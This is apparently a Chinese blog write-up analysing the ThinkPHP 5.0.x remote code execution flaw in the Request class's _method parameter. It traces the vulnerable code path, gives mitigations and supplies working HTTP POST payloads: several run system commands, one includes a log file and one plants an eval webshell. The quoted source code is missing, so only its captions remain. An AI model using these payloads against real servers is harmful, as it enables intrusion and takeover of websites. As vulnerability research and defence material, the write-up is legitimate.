前言

消息刚刚曝出来的时候还以为自己能半天把漏洞给找出来,果然是太菜太年轻了,23333

漏洞分析

漏洞点

此次漏洞出现在ThinkPHP用于处理HTTP请求的Request类中,其中的method方法用于获取当前的请求类型。

thinkphp/library/think/Request.php

var_method为“表单伪装变量”,可在application/config.php中定义:

该变量用于请求类型的伪装,官方文档如下:

由于没有做任何过滤,我们可以通过控制_method参数的值来动态调用Request类中的任意方法,通过控制$_POST的值来向调用的方法传递参数。

来看一下Request类的构造方法:

thinkphp/library/think/Request.php

该方法将传入的数组进行遍历,如果数组的键名与类的属性名相同,就将对应的值赋给类属性。因此我们可以通过控制post参数来控制Request类的各种属性。

漏洞触发

漏洞点已经找到,那么如何来触发它呢?

5.0.0-5.0.12

payload:

1
2
3
4
5
6
POST /tp5010/public/index.php?s=index/index/index HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 52
Content-Type: application/x-www-form-urlencoded

s=whoami&_method=__construct&filter[]=system

ThinkPHP在解析路由的过程中会调用Request类的method方法:

thinkphp/library/think/Route.php

具体调用流程如下:

此时我们已将类属性成功赋值为我们可控的值,接下来ThinkPHP会处理请求的参数,调用流程如下:

由于我们之前覆盖了Request类的filer属性,该属性用来指定全局过滤函数,所以所有的http参数都会经过过滤函数。

thinkphp/library/think/Request.php

跟进filterValue函数:

可以看到在filterValue方法中调用了call_user_func成功执行了system函数。

5.0.13-5.0.23

在ThinkPHP 5.0.12之后的版本中,在thinkphp/library/think/App.php的module方法中增加了设置filter属性的代码:

这样一来我们之前设置的filter属性就会被重新覆盖为空,导致之前的payload失效,必须寻找新的触发点。

我们回看上面的调用过程,发现Request类中的param方法也调用了method方法:

当method参数为true时,会进入server方法,跟进看一下:

继续跟进input方法:

可以看出Request类的server属性是一个数组,并且是可控的,这里input方法将key为REQUEST_METHOD的成员取出来放入了filterValue方法。这里我们需要找到调用Request类的param方法的地方来触发漏洞。

开启了debug模式

如果debug模式开启,在thinkphp/library/think/App.php的run方法中会记录路由和请求信息,此处调用了param方法。

由于此时还没有执行到module方法,所以filter属性仍是我们设置的值,没有被重新赋值。

payload:

1
2
3
4
5
6
POST /tp5023/public/index.php HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 70

_method=__construct&filter[]=system&server[REQUEST_METHOD]=id
有直接路由到控制器类或者方法的路由规则

payload:

1
2
3
4
5
6
POST /tp5023/public/index.php/?s=captcha HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

根据前面的分析,我们知道之前的payload失效的原因是在thinkphp/library/think/App.php的module方法中增加了设置filter属性的代码,那么我们可不可以不执行module方法而执行其他方法呢?

thinkphp/library/think/App.php

可以看到exec方法通过$dispatch['type']来决定调用哪个方法,在调用controller和method方法时都调用了Request类的param方法。现在来看一下$dispatch是从哪来的:

跟进routeCheck方法:

从配置文件中读取了路由配置后导入,然后进入了Route类的check方法。

thinkphp/library/think/Route.php

这里调用了我们熟悉的method方法,这里就是我们进行变量覆盖的地方,再来看一下method方法:

在我们覆盖了类属性之后,直接将method属性返回了。获取到method之后,会根据method的值到self::$rule中获取相应的路由规则。

由于ThinkPHP有自动加载机制,在运行时会自动加载vendor目录下的第三方库。加载过程如下:

其中ThinkPHP完整版中有一个验证码的第三方库,在被加载的时候会注册一条路由规则,当我们访问http://xxx/captcha时会路由到\think\captcha\CaptchaController的index方法。

vendor/topthink/think-captcha/src/helper.php

回到thinkphp/library/think/Route.php

ThinkPHP会解析这条路由规则,解析过程如下:

由于这条规则是直接路由到控制器类的方法,所以type为method。

再回到thinkphp/library/think/App.php的exec方法,可以看到已经能够执行param方法,达到了rce的目的。

漏洞防御

  1. 线上环境建议关闭debug模式

  2. 升级到ThinkPHP 5.0.24

  3. 手动增加过滤,在thinkphp/library/think/Request.php添加如下代码:

花式payload

漏洞出来之后师傅各显神通,骚payload一个接一个。精力有限,没法挨个分析,在这里收集一下。

  • 5.1版本,需设置error_reporting(0);

    1
    2
    3
    4
    5
    6
    7
    POST /tp5132/public/index.php HTTP/1.1
    Host: 127.0.0.1:8000
    Content-Type: application/x-www-form-urlencoded
    Cookie: XDEBUG_SESSION=PHPSTORM
    Content-Length: 28

    c=system&f=id&_method=filter
  • 利用文件包含

    1
    _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
  • 利用其他变量传参

    1
    _method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>